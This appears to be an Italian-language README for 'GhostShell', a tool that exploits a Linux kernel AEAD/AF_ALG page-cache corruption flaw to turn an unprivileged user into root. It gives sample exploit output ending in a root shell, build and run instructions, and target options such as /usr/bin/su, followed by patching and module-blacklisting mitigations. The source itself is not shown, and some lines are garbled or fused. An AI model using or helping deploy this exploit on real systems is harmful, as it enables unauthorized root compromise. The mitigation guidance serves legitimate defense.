
CVE-2026-31431 — Escalatazione dei privilegi locali tramite corruzione della cache delle pagine del kernel Linux
CVE-2026-31431 — Escalatazione dei Privilegi Locali tramite Corruzione della Page Cache del Kernel Linux
GhostShell è uno strumento di escalation dei privilegi locali che sfrutta una vulnerabilità nell'implementazione AEAD authencesn del kernel Linux per ottenere una shell di root da un account utente non privilegiato. Corrompe la page cache in memoria di un binario setuid-root (es. /usr/bin/su) inserendo shellcode al suo punto di ingresso, quindi lo esegue — ottenendo setuid(0) + setgid(0) e generando una /bin/sh privilegiata. Nessun file su disco viene modificato; viene interessata solo la page cache in memoria.
In breve: lo esegui come utente normale e ti porta in una shell di root.
Scoperto e divulgato da Theori / Xint. Analisi completa: copy.fail
$ ./ghostshell
CVE-2026-31431 'Copy Fail'
Target: /usr/bin/su
Size: 63576 bytes
Entry offset: 0x1a50
Shellcode: 94 bytes (24 iterations)
[*] Checking if kernel is vulnerable...
[+] Kernel IS vulnerable.
[*] Corrupting page cache of /usr/bin/su with shellcode...
[*] Patching offset 0x01a50 (24/24) ...
[*] Verifying page cache corruption...
[+] Shellcode verified in page cache!
[*] Executing corrupted setuid binary...
[*] If successful, you should now have a root shell.
[*] No trace on disk. Only ghosts in the cache.
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
#
Linux 4.14 (agosto 2017) fino ai kernel corretti in aprile 2026.
kmodLa correzione raccomandata per CVE-2026-31431 è applicare la patch al pacchetto kmod (utility dei moduli del kernel) che include il modulo cipher AEAD authencesn vulnerabile. I principali distributori hanno rilasciato pacchetti aggiornati che disabilitano o correggono il percorso di decrittazione in-place tramite splice().
# Check current kmod version
modprobe --version
# Update to the patched version
sudo apt-get update
sudo apt-get install --only-upgrade kmod
# Verify the update
modprobe --version
# Update kmod to the patched release
sudo dnf update kmod
# Verify
rpm -q kmod
sudo pacman -Syu kmod
Dopo aver applicato la patch a kmod, conferma che il modulo authencesn vulnerabile non sia più caricabile o sia stato aggiornato:
# Attempt to load the module — on patched systems this should fail or report fixed version
modinfo authencesn
# Alternatively, check that the running kernel includes the April 2026 patch
uname -r # should be >= the patched kernel version for your distro
Se non puoi aggiornare kmod subito, puoi bloccare il caricamento del modulo cipher vulnerabile:
# Blacklist the authencesn module
echo "install authencesn /bin/true" | sudo tee /etc/modprobe.d/disable-authencesn.conf
# Also blacklist the generic authenc module for good measure
echo "install authenc /bin/true" | sudo tee -a /etc/modprobe.d/disable-authencesn.conf
# Unload it if currently loaded (may fail if in use)
sudo modprobe -r authencesn 2>/dev/null
Riavvia dopo aver applicato la patch o la soluzione alternativa per garantire che eventuali voci corrotte nella page cache vengano cancellate.
| OS | Kernel |
|---|---|
| Ubuntu 24.04 LTS | 6.17.0-22-generic |
⚠️ Questo exploit è stato testato solo sul sistema sopra indicato. I risultati potrebbero variare su altre distribuzioni o versioni del kernel.
<linux/if_alg.h>) — solitamente inclusi con linux-libc-devInstalla le dipendenze di build su Ubuntu/Debian:
sudo apt-get update
sudo apt-get install gcc linux-libc-dev
gcc -Wall -Wextra -o ghostshell ghostshell.c
Nessuna libreria esterna richiesta.
Rilevamento automatico del target (controlla i comuni binari setuid come su, sudo, passwd):
./ghostshell
Specifica manuale di un target:
./ghostshell /usr/bin/sudo
Se il kernel è vulnerabile, verrai portato in una shell di root (#).
_start.patch_chunk() (24 iterazioni), sfruttando il difetto di decrittazione in-place tramite splice() di AF_ALG.execl() sul binario corrotto. Il kernel lo carica dalla page cache e lo shellcode viene eseguito con privilegi setuid-root, generando una shell di root.L'exploit corrompe solo la page cache in memoria. Un semplice riavvio la cancella completamente.
Per svuotare le cache senza riavviare:
sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
Se le pagine dirty sono state riscritte su disco (improbabile ma possibile), reinstalla il pacchetto interessato:
sudo apt-get install --reinstall util-linux # for /usr/bin/su
Questo strumento è fornito solo per scopi educativi e di ricerca sulla sicurezza autorizzata. L'uso non autorizzato contro sistemi di cui non si è proprietari o per i quali non si ha esplicito permesso di test è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.
Questo progetto è concesso in licenza sotto la MIT License.
È concessa l'autorizzazione, gratuitamente, a qualsiasi persona che ottenga una copia di questo software e dei relativi file di documentazione (il "Software"), a trattare il Software senza restrizioni, inclusi, senza limitazione, i diritti di utilizzare, copiare, modificare, fondere, pubblicare, distribuire, concedere in sublicenza e/o vendere copie del Software, e a consentire alle persone a cui il Software è fornito di fare altrettanto, alle seguenti condizioni:
L'avviso di copyright sopra indicato e questo avviso di autorizzazione devono essere inclusi in tutte le copie o parti sostanziali del Software.
IL SOFTWARE È FORNITO "COSÌ COM'È", SENZA GARANZIA DI ALCUN TIPO, ESPRESSA O IMPLICITA, INCLUSI MA NON LIMITATI ALLE GARANZIE DI COMMERCIABILITÀ, IDONEITÀ PER UNO SCOPO PARTICOLARE E NON VIOLAZIONE. IN NESSUN CASO GLI AUTORI O I TITOLARI DEL COPYRIGHT SARANNO RESPONSABILI PER QUALSIASI RECLAMO, DANNO O ALTRA RESPONSABILITÀ, SIA IN UN'AZIONE CONTRATTUALE, EXTRACONTRATTUALE O ALTRO, DERIVANTE DA, IN O IN CONNESSIONE CON IL SOFTWARE O L'USO O ALTRE OPERAZIONI NEL SOFTWARE.